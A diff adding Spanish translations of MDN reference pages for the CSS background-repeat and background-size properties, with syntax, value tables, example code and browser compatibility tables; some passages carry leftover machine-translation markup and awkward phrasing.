+<p>La propiedad de <a href="/en-US/docs/CSS">CSS</a> <strong><code>background-repeat</code></strong> define como se repiten los fondos del documento. Un fondo de imagen puede ser repetido sobre el eje horizontal, el eje vertical, ambos ejes, o no estar repetido.</p>
+
+<p> </p>
+
+<div>{{EmbedInteractiveExample("pages/css/background-repeat.html")}} </div>
+
+<div> </div>
+
+<div class="hidden">
+<p>La fuente de este ejemplo interactivo es de GitHub. Si estás interesado en contribuir a los ejemplos interactivos, por favor accee a  <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> y envíanos una solicitud para colaborar.</p>
+</div>
+
+<p> </p>
+
+<p> </p>
+
+<pre class="brush: css no-line-numbers">/* One-value syntax */
+background-repeat: repeat-x;
+background-repeat: repeat-y;
+background-repeat: repeat;
+background-repeat: space;
+background-repeat: round;
+background-repeat: no-repeat;
+
+/* Two-value syntax: horizontal | vertical */
+background-repeat: repeat space;
+background-repeat: repeat repeat;
+background-repeat: round space;
+background-repeat: no-repeat round;
+
+/* Global values */
+background-repeat: inherit;
+background-repeat: initial;
+background-repeat: unset;
+</pre>
+
+<div> </div>
+
+<div class="hidden"> </div>
+
+<p> </p>
+
+<p>Por defecto, las imágenes repetidas son ajustadas al tamaño del elemento, pero pueden ser reescaladas para ajustarse (usando <em>round) </em>o igualmente distribuido desde un extremo a otro (usando <em>space</em>).</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<h3 id="Valores">Valores</h3>
+
+<dl>
+ <dt><code>&lt;repeat-style&gt;</code></dt>
+ <dd>Los atributos de valor único son una abreviación de los atributos de doble valor.</dd>
+ <dd>
+ <table class="standard-table">
+  <tbody>
+   <tr>
+    <td><strong>Valor único</strong></td>
+    <td><strong>Doble valor equivalente</strong></td>
+   </tr>
+   <tr>
+    <td><code>repeat-x</code></td>
+    <td><code>repeat no-repeat</code></td>
+   </tr>
+   <tr>
+    <td><code>repeat-y</code></td>
+    <td><code>no-repeat repeat</code></td>
+   </tr>
+   <tr>
+    <td><code>repeat</code></td>
+    <td><code>repeat repeat</code></td>
+   </tr>
+   <tr>
+    <td><code>space</code></td>
+    <td><code>space space</code></td>
+   </tr>
+   <tr>
+    <td><code>round</code></td>
+    <td><code>round round</code></td>
+   </tr>
+   <tr>
+    <td><code>no-repeat</code></td>
+    <td><code>no-repeat no-repeat</code></td>
+   </tr>
+  </tbody>
+ </table>
+ En los atributos de doble valor, el primer valor se comporta usando la repetición horizontal y el segundo valor representa el comportamiento de repetición vertical. Aquí se explica como cada opción funciona con cada dirección:</dd>
+ <dd>
+ <table class="standard-table">
+  <tbody>
+   <tr>
+    <td><code>repeat</code></td>
+    <td> La imagen se repite hasta cobrir todo el fondo existente. La última imagen debe ser recortada si no encaja.</td>
+   </tr>
+   <tr>
+    <td><code>space</code></td>
+    <td>La imagen se repite lo máximo posible sin recortarse. La primera y última imagen son fijadas a cada lado del elemento, y el espacio blanco es distribuido igualmente entre las imágenes. La propiedad {{cssxref("background-position")}} es ignorada a menos que una sola imagen pueda ser desplegada sin recortar. El único caso donde se recorta usando <code>space</code> es cuando no hay suficiente sitio para desplegar una imagen.</td>
+   </tr>
+   <tr>
+    <td><code>round</code></td>
+    <td>Como el espacio permitido aumenta, las imágenes repetidas se estrechan (sin dejar huecos) hasta que haya espacio suficiente (espacio restante &gt;= la mitad del ancho de la imagen) para que otra sea añadida. Cuando la próxima imagen es añadida, todas las demás son comprimidas al espacio disponible. Ejemplo: Una imagen con un ancho inicial de 260px, se repite 3 veces, debería estirarse hasta que el tamaño sea de 300px, luego otra imagen debe ser añadida. Luego deberían comprimirse hasta los 225px.</td>
+   </tr>
+   <tr>
+    <td><code>no-repeat</code></td>
+    <td>La imagen no se repite (y por lo tanto el area coloreada de la imagen de fondo no debe ser rellenada completamente). La posición del fondo no repetido ies definida por la propiedad de CSS {{cssxref("background-position")}}.</td>
+   </tr>
+  </tbody>
+ </table>
+ </dd>
+</dl>
+
+<h3 id="Sintaxis_formal">Sintaxis formal</h3>
+
+<pre class="syntaxbox">{{csssyntax}}
+</pre>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;ol&gt;
+  &lt;li&gt;no-repeat
+    &lt;div class="one"&gt;&lt;/div&gt;
+  &lt;/li&gt;
+  &lt;li&gt;repeat
+    &lt;div class="two"&gt;&lt;/div&gt;
+  &lt;/li&gt;
+  &lt;li&gt;repeat-x
+    &lt;div class="three"&gt;&lt;/div&gt;
+  &lt;/li&gt;
+  &lt;li&gt;repeat-y
+    &lt;div class="four"&gt;&lt;/div&gt;
+  &lt;/li&gt;
+  &lt;li&gt;space
+    &lt;div class="five"&gt;&lt;/div&gt;
+  &lt;/li&gt;
+  &lt;li&gt;round
+    &lt;div class="six"&gt;&lt;/div&gt;
+  &lt;/li&gt;
+  &lt;li&gt;repeat-x, repeat-y (multiple images)
+    &lt;div class="seven"&gt;&lt;/div&gt;
+  &lt;/li&gt;
+&lt;/ol&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">/* Shared for all DIVS in example */
+ol,
+li {
+  margin: 0;
+  padding: 0;
+}
+li {
+  margin-bottom: 12px;
+}
+div {
+    background-image: url(https://mdn.mozillademos.org/files/12005/starsolid.gif);
+    width: 160px;
+    height: 70px;
+}
+
+/* Background repeats */
+.one {
+  background-repeat: no-repeat;
+}
+.two {
+  background-repeat: repeat;
+}
+.three {
+  background-repeat: repeat-x;
+}
+.four {
+  background-repeat: repeat-y;
+}
+.five {
+  background-repeat: space;
+}
+.six {
+  background-repeat: round;
+}
+
+/* Multiple images */
+.seven {
+  background-image:  url(https://mdn.mozillademos.org/files/12005/starsolid.gif),
+                     url(https://developer.cdn.mozilla.net/media/redesign/img/favicon32.png);
+  background-repeat: repeat-x,
+                     repeat-y;
+  height: 144px;
+}</pre>
+
+<h3 id="Resultado">Resultado</h3>
+
+<p>En este ejemplo, cada elemento de la lista coincide con un valor diferente de <code>background-repeat</code>.</p>
+
+<p>{{EmbedLiveSample('Examples', 240, 560)}}</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Backgrounds', '#the-background-repeat', 'background-repeat')}}</td>
+   <td>{{Spec2('CSS3 Backgrounds')}}</td>
+   <td>Añade soporte para diferentes imágenes de fondo, el atributo de doble valor equivalente permite un comportamiento de repetición diferente para las direcciones verticales y horizontales, las palabras clave <code>space</code> y <code>round</code> , y para fondos en elementos en la misma línea mediante la definición precisa de la zona disponible del fondo.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'colors.html#propdef-background-repeat', 'background-repeat')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Sin cambios significativos.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#background-repeat', 'background-repeat')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_navegadores">Compatibilidad en navegadores</h2>
+
+<p class="hidden">La tabla de compatibilidad en esta página está generada a partir de datos esrtucturados. Si quieres contribuir a estos datos, por favor revisa <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y mándanos una solicitud.</p>
+
+<p>{{Compat("css.properties.background-repeat")}}</p>
+
+<h2 id="Mira_también">Mira también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Backgrounds_and_Borders/Using_multiple_backgrounds">Usando diferentes fondos</a></li>
+</ul>
diff --git a/files/es/web/css/background-size/index.html b/files/es/web/css/background-size/index.html
new file mode 100644
index 0000000000..827eb7b8e5
--- /dev/null
+++ b/files/es/web/css/background-size/index.html
@@ -0,0 +1,235 @@
+---
+title: background-size
+slug: Web/CSS/background-size
+tags:
+  - CSS
+  - CSS Background
+  - CSS Property
+  - Reference
+translation_of: Web/CSS/background-size
+---
+<div>{{ CSSRef() }}</div>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>La propiedad CSS <strong><code>background-size</code></strong> especifica el tamaño de las imágenes de fondo.</p>
+
+<div class="note"><strong>Nota:</strong> Si el valor de esta propiedad no se encuentra en una propiedad abreviada {{ cssxref("background") }} esta es aplicada para los elementos después de la propiedad CSS <code>background-size</code>, el valor de esta propiedad <span id="result_box" lang="es"><span class="gt-trans-draggable hps">se restablece</span> <span class="gt-trans-draggable hps">a su valor</span> <span class="gt-trans-draggable hps">inicial de la</span> <span class="gt-trans-draggable hps">propiedad abreviada</span><span class="gt-trans-draggable">.</span></span></div>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">background-size:  <em>background-size</em>[ <em>background-size</em>]*
+</pre>
+
+<p>donde <strong>: </strong></p>
+
+<dl>
+ <dt><em><strong>background-size</strong></em></dt>
+ <dd style="margin-left: 40px;">Es una de las palabras claves:</dd>
+ <dd style="margin-left: 40px;">
+ <ul>
+  <li style="margin-left: 40px;"><strong><code>contain</code></strong><br>
+   <span id="result_box" lang="es"><span class="hps">Escala la imagen al mayor tamaño posible sin recortarla ni estirarla.</span></span></li>
+  <li style="margin-left: 40px;"><strong><code>cover</code></strong><br>
+   <span id="result_box" lang="es"><span class="gt-trans-draggable">Escala la imagen al mayor tamaño posible sin estirarla. Si las proporciones de la imagen difieren de las del elemento, es recortada vertical u horizontalmente para que no quede un espacio vacío.</span></span></li>
+ </ul>
+ <span id="result_box" lang="es"><span class="gt-trans-draggable hps">O bien,</span> <span class="gt-trans-draggable hps">uno o dos de</span> <span class="gt-trans-draggable hps">los siguientes valores,</span> <span class="gt-trans-draggable hps">que denota el</span> <span class="gt-trans-draggable hps">tamaño</span> <span class="gt-trans-draggable hps">horizontal</span> <span class="gt-trans-draggable hps">y</span> <span class="gt-trans-draggable hps">el tamaño vertical</span> <span class="atn gt-trans-draggable hps">respectivamente (</span><span class="gt-trans-draggable">si sólo es</span> <span class="gt-trans-draggable hps">especificado uno</span><span class="gt-trans-draggable">, el valor predeterminado</span> para el segundo es auto<span class="gt-trans-draggable">):</span></span>
+
+ <ul>
+  <li>Un valor {{cssxref("&lt;percentage&gt;")}} que escala la imagen de fondo en la dimensión correspondiente <span id="result_box" lang="es"><span class="gt-trans-draggable hps">al porcentaje especificado</span> <span class="gt-trans-draggable hps">del área</span><span class="gt-trans-draggable hps"> de posicionamiento</span> <span class="gt-trans-draggable hps">de fondo</span><span class="gt-trans-draggable">,</span></span> que viene el valor determinado {{ cssxref("background-origin") }}. <span id="result_box" lang="es"><span class="gt-trans-draggable hps">El</span> <span class="gt-trans-draggable hps">área de posicionamiento</span> <span class="gt-trans-draggable hps">del fondo es</span><span class="gt-trans-draggable">, por defecto,</span> <span class="gt-trans-draggable hps">el área que contiene</span> <span class="gt-trans-draggable hps">el contenido</span> <span class="gt-trans-draggable hps">de la caja y</span> <span class="gt-trans-draggable hps">su relleno</span><span class="gt-trans-draggable">, el área</span> <span class="gt-trans-draggable hps">también</span> <span class="gt-trans-draggable hps">se puede cambiar a</span> <span class="gt-trans-draggable hps">simplemente el</span> <span class="gt-trans-draggable hps">contenido o</span> <span class="gt-trans-draggable hps">el área que contiene</span> <span class="gt-trans-draggable hps">bordes</span><span class="gt-trans-draggable">, el relleno y</span> <span class="gt-trans-draggable hps">contenido.</span> <span class="gt-trans-draggable hps">Si el fondo</span> <span class="gt-trans-draggable hps">de</span> <span class="atn gt-trans-draggable hps">{</span><span class="atn gt-trans-draggable">{</span><span class="gt-trans-draggable">cssxref</span> <span class="atn gt-trans-draggable hps">(</span><span class="atn gt-trans-draggable hps">"background-</span><span class="gt-trans-draggable">attachment"</span><span class="gt-trans-draggable">, "attachment</span><span class="gt-trans-draggable">")}</span><span class="gt-trans-draggable">}</span> <span class="gt-trans-draggable hps">es fija, el</span> <span class="gt-trans-draggable hps">área de posicionamiento</span> del <span class="gt-trans-draggable hps">fondo</span> <span class="gt-trans-draggable hps">es más bien</span> <span class="gt-trans-draggable hps">toda el área de</span> <span class="gt-trans-draggable hps">la ventana del navegador</span><span class="gt-trans-draggable">, sin incluir el</span> <span class="gt-trans-draggable hps">área cubierta por</span> <span class="gt-trans-draggable hps">las barras de desplazamiento</span> <span class="gt-trans-draggable hps">si están presentes</span><span class="gt-trans-draggable">.</span> <span class="gt-trans-draggable hps">Porcentajes</span> <span class="gt-trans-draggable hps">negativos no</span> <span class="gt-trans-draggable hps">son permitidos.</span></span></li>
+  <li>Un valor {{cssxref("&lt;length&gt;")}} q<span lang="es"><span class="gt-trans-draggable hps">ue escala</span> <span class="gt-trans-draggable hps">la</span> <span class="gt-trans-draggable hps">imagen de fondo a</span> <span class="gt-trans-draggable hps">la longitud especificada en</span> <span class="gt-trans-draggable hps">la dimensión correspondiente.</span> <span class="gt-trans-draggable hps">Longitudes</span> <span class="gt-trans-draggable hps">negativas no</span> <span class="gt-trans-draggable hps">están permitidos.</span></span></li>
+  <li><span id="result_box" lang="es"><span class="gt-trans-draggable hps">La</span> <span class="gt-trans-draggable hps">palabra clave auto</span> <span class="gt-trans-draggable hps">que escala el</span> <span class="gt-trans-draggable hps">fondo de la imagen</span> <span class="gt-trans-draggable hps">en la dirección correspondiente</span> <span class="gt-trans-draggable hps">de modo que su</span> <span class="gt-trans-draggable hps">proporción</span> escencial <span class="gt-trans-draggable hps">se mantiene</span><span class="gt-trans-draggable">.</span></span></li>
+ </ul>
+ </dd>
+</dl>
+
+<p><span id="result_box" lang="es"><span class="gt-trans-draggable hps">La interpretación</span> <span class="gt-trans-draggable hps">de los valores posibles</span> <span class="gt-trans-draggable hps">depende de las dimensiones</span> propias <span class="gt-trans-draggable hps">de la imagen</span> <span class="atn gt-trans-draggable hps">(</span><span class="gt-trans-draggable">ancho y alto)</span> <span class="gt-trans-draggable hps">y proporción</span> <span class="atn gt-trans-draggable hps">propia (</span><span class="gt-trans-draggable">relación entre la anchura</span> <span class="gt-trans-draggable hps">y altura).</span> <span class="gt-trans-draggable hps">Una imagen de</span> <span class="gt-trans-draggable hps">mapa de bits</span> <span class="gt-trans-draggable hps">siempre tiene</span> <span class="gt-trans-draggable hps">dimensiones propias</span> <span class="gt-trans-draggable hps">y una proporción</span> <span class="gt-trans-draggable hps">propia.</span> <span class="gt-trans-draggable hps">Una imagen del vector</span> <span class="gt-trans-draggable hps">puede tener</span> <span class="gt-trans-draggable hps">ambas dimensiones</span> <span class="atn gt-trans-draggable hps">propias (</span><span class="gt-trans-draggable">y por lo tanto</span> <span class="gt-trans-draggable hps">debe tener una</span> <span class="gt-trans-draggable hps">proporción</span> propia<span class="gt-trans-draggable">)</span><span class="gt-trans-draggable">.</span> <span class="gt-trans-draggable hps">También puede tener</span> <span class="gt-trans-draggable hps">una o ningún</span>a <span class="gt-trans-draggable hps">dimensiones propias</span><span class="gt-trans-draggable">,</span> <span class="gt-trans-draggable hps">y</span> <span class="gt-trans-draggable hps">en cualquier caso se</span> <span class="gt-trans-draggable hps">podría o no</span> <span class="gt-trans-draggable hps">tener</span> <span class="gt-trans-draggable hps">una</span> <span class="gt-trans-draggable hps">proporción</span> <span class="gt-trans-draggable hps">propia.</span> <span class="gt-trans-draggable hps">Los gradientes son</span> <span class="gt-trans-draggable hps">tratados como</span> <span class="gt-trans-draggable hps">imágenes</span> <span class="gt-trans-draggable hps">sin</span> <span class="gt-trans-draggable hps">dimensiones propias</span> <span class="gt-trans-draggable hps">o proporción</span> propia<span class="gt-trans-draggable hps">.</span></span></p>
+
+<div class="geckoVersionNote" style="">
+<p>{{ gecko_callout_heading("8.0") }}</p>
+
+<p><span id="result_box" lang="es"><span class="hps">Este comportamiento ha cambiado</span> <span class="hps">en</span> <span class="hps">Gecko</span> <span class="hps">8.0</span> <span class="atn hps">{</span><span class="atn">{</span><span>geckoRelease</span> <span class="atn hps">("</span><span>8.0"</span><span>)}</span><span>}.</span> <span class="hps">Antes de esto,</span> <span class="hps">los gradientes se</span> <span class="hps">tratan como</span> <span class="hps">imágenes</span> <span class="hps">sin</span> <span class="hps">dimensiones propias</span><span>,</span> <span class="hps">con</span> <span class="hps">una</span> <span class="hps">proporción</span> propi<span class="hps">a</span> <span class="hps">idéntica al área</span><span class="hps"> de posicionamiento</span> <span class="hps">de fondo.</span></span></p>
+</div>
+
+<p> </p>
+
+<p><span id="result_box" lang="es"><span class="hps">Las imágenes de fondo</span> <span class="hps">generados a partir de</span> <span class="hps">elementos</span> <span class="atn hps">con </span></span>{{ cssxref("-moz-element") }}<span id="result_box" lang="es"> <span class="hps">(que en realidad</span> <span class="hps">coincide con</span> <span class="hps">un elemento)</span> <span class="hps">se tratan actualmente</span> <span class="hps">como</span> <span class="hps">las imágenes con</span> <span class="hps">las</span> <span class="hps">dimensiones del elemento</span><span>, o</span> <span class="hps">de</span> <span class="hps">la</span> <span class="hps">zona de posicionamiento</span> <span class="hps">de fondo si</span> <span class="hps">el elemento es</span> <span class="hps">SVG</span><span>,</span> <span class="hps">con</span> <span class="hps">la proporción</span> <span class="hps">propia</span> <span class="hps">correspondiente</span><span>.</span></span></p>
+
+<div class="note"><span id="result_box" lang="es"><span class="hps"><strong>Nota</strong>: El comportamiento de los <code>&lt;degradados&gt;</code> cambió en Gecko 8.0 </span></span>{{geckoRelease("8.0")}}. Anteriormente se trataban como imágenes sin dimensiones intrínsecas, pero con proporciones intrínsecas idénticas a las del área de posicionamiento del fondo.</div>
+
+<p><span id="result_box" lang="es"><span class="hps">El</span> <span class="hps">tamaño representado</span> <span class="hps">de</span> <span class="hps">la imagen de fondo</span> <span class="hps">se calcula como</span> <span class="hps">sigue:</span></span></p>
+
+<dl>
+ <dt><span id="result_box" lang="es"><span class="hps">Si</span> <span class="hps">ambos componentes de</span> </span><code>background-size</code><span id="result_box" lang="es"> <span class="hps">se especifican</span> <span class="hps">y no son</span> <span class="hps">auto</span></span>:</dt>
+ <dd><span id="result_box" lang="es"><span class="hps">La imagen de fondo</span> <span class="alt-edited hps">representa</span> a<span class="hps">l tamaño</span> <span class="hps">especificado.</span></span></dd>
+ <dt>si el <code>background-size</code> es <code>contain</code> o <code>cover</code>:</dt>
+ <dd><span id="result_box" lang="es"><span class="hps">La imagen</span> <span class="alt-edited hps">es renderizada</span>, <span class="hps">preservando su</span> <span class="hps">proporción</span> propia<span>,</span> <span class="hps">en el tamaño mayor</span> <span class="hps">contenido dentro de</span><span>, o cubriendo</span><span>,</span> <span class="hps">el</span> <span class="hps">área de posicionamiento</span> <span class="hps">de fondo.</span> <span class="hps">Si</span> <span class="hps">la</span> <span class="hps">imagen no tiene una</span> <span class="hps">proporción</span> <span class="hps">propia</span><span>,</span> <span class="hps">entonces</span> <span class="hps">se representa</span> a<span class="hps">l tamaño de la</span> <span class="hps">zona de posicionamiento</span> <span class="hps">de fondo.</span></span></dd>
+ <dt>Si el <code>background-size</code> es <code>auto</code> o <code>auto auto</code>:</dt>
+ <dd><span id="result_box" lang="es"><span class="hps">Si la imagen tiene</span> <span class="hps">dos</span> <span class="hps">dimensiones propias</span><span>, se representa</span> <span class="hps">en ese tamaño.</span> <span class="hps">Si</span> <span class="hps">no tiene dimensiones</span> propi<span class="hps">as y</span> <span class="hps">no</span> <span class="hps">proporción</span> <span class="hps">propia</span><span>, se representa</span> <span class="hps">en</span> <span class="hps">el tamaño del área</span><span class="hps"> de posicionamiento</span> <span class="hps">de fondo.</span> <span class="hps">Si no tiene</span> <span class="hps">dimensiones</span><span>, pero tiene una</span> <span class="hps">proporción</span><span>, se</span> <span class="hps">representa como</span> <span class="hps">si</span> <span class="hps">se hubiera especificado</span> <span class="hps">contener</span> <span class="hps">en su lugar.</span> <span class="hps">Si la imagen tiene</span> <span class="hps">una</span> <span class="hps">dimensión</span> <span class="hps">propia y</span> <span class="hps">una</span> <span class="hps">proporción</span><span>, ha</span> <span class="hps">rendido en</span> <span class="hps">el tamaño determinado</span> <span class="hps">por esa</span> <span class="hps">única dimensión</span> <span class="hps">y la proporción</span><span>.</span> <span class="hps">Si la imagen tiene</span> <span class="hps">una dimensión</span> propia <span class="hps">pero</span> <span class="hps">proporción</span> <span class="hps">no, se</span> <span class="hps">representa utilizando</span> <span class="hps">la dimensión propia</span> <span class="hps">y</span> <span class="hps">la dimensión correspondiente del área</span><span class="hps"> de posicionamiento</span> <span class="hps">de fondo.</span></span></dd>
+ <dt>Si el background-size tiene un <code>auto</code> componente y un non-<code>auto</code> componente:</dt>
+ <dd><span id="result_box" lang="es"><span class="hps">Si la imagen tiene</span> <span class="hps">una</span> <span class="hps">proporción</span> propia<span class="hps">, entonces</span> <span class="hps">hacen</span> <span class="hps">uso de la dimensión</span> <span class="hps">especificada</span><span>,</span> <span class="hps">y</span> <span class="hps">calcula</span> <span class="hps">la otra dimensión</span> <span class="hps">de</span> <span class="hps">la dimensión especificada</span> <span class="hps">y</span> <span class="hps">la proporción</span> propia<span class="hps">.</span> <span class="hps">Si la</span> <span class="hps">imagen no tiene una</span> <span class="hps">parte</span> propia<span>, utilice</span> <span class="hps">la dimensión especificada</span> <span class="hps">para esa dimensión.</span> <span class="hps">Por</span> <span class="hps">la otra dimensión</span><span>, utilice la</span> <span class="hps">imagen</span> <span class="hps">de</span> <span class="hps">dimensión propia</span> <span class="hps">correspondiente, si</span> <span class="hps">es que existe.</span> <span class="hps">Si</span> <span class="hps">no hay ninguna dimensión</span> propia <span class="hps">tal, el uso</span> <span class="hps">de la</span> <span class="hps">dimensión correspondiente del </span><span class="hps">área de posicionamiento</span> <span class="hps">de fondo.</span></span></dd>
+</dl>
+
+<p><span id="result_box" lang="es"><span class="hps">Tenga en cuenta</span> <span class="hps">que los antecedentes</span> <span class="hps">de tamaño de</span> <span class="hps">imágenes</span> <span class="hps">vectoriales que</span> <span class="hps">carecen de</span> <span class="hps">dimensiones propias</span> <span class="hps">o la proporción</span> <span class="hps">no</span> <span class="hps">se</span> <span class="hps">ha aplicado plenamente</span> <span class="hps">en</span> <span class="hps">todos los navegadores.</span> <span class="hps">Tenga cuidado con</span> <span class="hps">confiar en el</span> <span class="hps">comportamiento descrito anteriormente</span><span>, y la prueba</span> <span class="hps">en varios navegadores</span> <span class="atn hps">(</span><span>incluyendo específicamente</span> <span class="hps">las versiones de</span> <span class="hps">Firefox 7</span> <span class="hps">o anterior y</span> <span class="hps">Firefox 8</span> <span class="hps">o superior</span><span>) para asegurarse de</span> <span class="hps">versiones</span> <span class="hps">diferentes</span> <span class="hps">son aceptables.</span></span></p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<p>Esta demostración de backround-size: cover y esta demostración de background-size: contain están destinados a ser abiertos en nuevas ventanas para que pueda ver <span id="result_box" lang="es"><span class="gt-trans-draggable hps">cómo</span> contain<span class="gt-trans-draggable hps"> y</span> cover <span class="gt-trans-draggable hps">comportarse</span> <span class="gt-trans-draggable hps">cuando las dimensiones</span> <span class="gt-trans-draggable hps">de</span>l área <span class="gt-trans-draggable hps">de posicionamiento</span> <span class="gt-trans-draggable hps">de</span> <span class="gt-trans-draggable hps">fondo</span> <span class="gt-trans-draggable hps">variar.</span> <span class="gt-trans-draggable hps">Esta serie de</span> <span class="gt-trans-draggable hps">demostraciones de</span> <span class="gt-trans-draggable hps">cómo</span> <span class="gt-trans-draggable hps">funciona</span> <span class="gt-trans-draggable hps">el background-size</span> <span class="gt-trans-draggable hps">e interactúa</span> <span class="gt-trans-draggable hps">con otras</span> <span class="gt-trans-draggable hps">propiedades de</span> background-<span class="gt-trans-draggable hps">*</span> </span><span id="result_box" lang="es"><span class="hps">debe</span> <span class="hps">casi</span> <span class="hps">cubrir el suelo</span> <span class="hps">restante</span> <span class="hps">en el uso de</span> <span class="hps">background-size</span> <span class="hps">solo y</span> <span class="hps">en combinación</span> <span class="hps">con otras propiedades.</span></span></p>
+
+<h2 id="Notas">Notas</h2>
+
+<p>Si especifíca un degradado como fondo y tiene especificado un background-size para ir con ella, es mejor no especificar un tamaño que utilice un solo componente auto, o es especificado usando solo un valor de anchura (por ejemplo, background-size: 50%). Renderizado de gradientes en tales casos cambiaron en Firefox 8, y en la actualidad es generalmente inconsistente en todos los navegadores, que no todo implementa el renderizadando en total conformidad con la especificación CSS3 background-size y con la especificación de valores de imagen CSS3 gradiente.</p>
+
+<pre class="brush: css">.bar {
+       width: 50px; height: 100px;
+       background-image: gradient(...);
+
+       /* NO RECOMENDADO */
+       background-size: 25px;
+       background-size: 50%;
+       background-size: auto 50px;
+       background-size: auto 50%;
+
+       /* OKAY */
+       background-size: 25px 50px;
+       background-size: 50% 50%;
+}
+</pre>
+
+<p>Tenga en cuenta que particularmente no es recomendado usar una dimensión de píxeles y una dimensión auto con degradado, porque es imposible replicar el renderizado en las versiones de Firefox anteriores a 8, y en los navegadores que no implementaron el renderizado de Firefox 8,<span class="long_text" id="result_box" lang="es"><span class="gt-trans-draggable"> sin saber</span> <span class="gt-trans-draggable hps">el tamaño exacto</span> <span class="gt-trans-draggable hps">del elemento cuyo</span> <span class="gt-trans-draggable hps">fondo</span> <span class="gt-trans-draggable hps">se ha especificado</span><span class="gt-trans-draggable">.</span></span></p>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estados</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS3 Backgrounds', '#the-background-size', 'background-size') }}</td>
+   <td>{{ Spec2('CSS3 Backgrounds') }}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">Compatibilidad de navegador</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th colspan="3">Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td rowspan="2">Soporte Básico</td>
+   <td>1.0{{ property_prefix("-webkit") }} [2]</td>
+   <td>{{ CompatGeckoDesktop("1.9.2") }}{{ property_prefix("-moz") }} [4]</td>
+   <td rowspan="2">9.0</td>
+   <td>9.5{{ property_prefix("-o") }}<br>
+    with some bugs [1]</td>
+   <td>3.0 (522){{ property_prefix("-webkit") }}<br>
+    but from an older CSS3 draft [2]</td>
+   <td rowspan="2"> </td>
+   <td rowspan="2"> </td>
+  </tr>
+  <tr>
+   <td>3.0</td>
+   <td>{{ CompatGeckoDesktop("2.0") }}</td>
+   <td>10.0</td>
+   <td>4.1 (532)</td>
+  </tr>
+  <tr>
+   <td>Soporte para<br>
+    <code>contain</code> y <code>cover</code></td>
+   <td>3.0</td>
+   <td>{{ CompatGeckoDesktop("1.9.2") }}</td>
+   <td>9.0</td>
+   <td>10.0</td>
+   <td colspan="3">4.1 (532)</td>
+  </tr>
+  <tr>
+   <td>Soporte para SVG backgrounds</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatGeckoDesktop("8.0") }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td colspan="3">{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Windows Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte Básico</td>
+   <td>{{ CompatVersionUnknown() }}{{ property_prefix("-webkit") }}<br>
+    2.3</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+  <tr>
+   <td>Soporte para SVG backgrounds</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatGeckoMobile("8.0") }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p><span class="long_text" id="result_box" lang="es"><span class="hps">[1</span><span>]</span>  <span class="hps">Opera 9.5</span> <span class="atn hps">'</span><span>s calcula</span><span class="hps"> el área de</span> <span class="hps">posicionamiento</span> de background <span class="hps">es incorrecto</span> <span class="hps">para los background</span> <span class="hps">fijos.</span> <span class="hps">Opera</span> <span class="hps">9,5</span> <span class="hps">también</span> <span class="hps">interpreta la forma</span> <span class="hps">de dos valores</span> <span class="hps">como</span> <span class="hps">un factor de escala</span> <span class="hps">horizontal</span> <span class="hps">y</span><span>,</span> <span class="hps">por las apariencias,</span> <span class="hps">una dimensión</span> <span class="hps">de recorte vertical</span><span>.</span> <span class="hps">Esto ha</span> <span class="hps">sido arreglado en</span> <span class="hps">Opera 10.</span></span></p>
+
+<p>[2] WebKit-based browsers originally implemented an older draft of CSS3<code> background-size </code>in which an omitted second value is treated as <em>duplicating</em> the first value; this draft does not include the<code> contain </code>or<code> cover </code>keywords.</p>
+
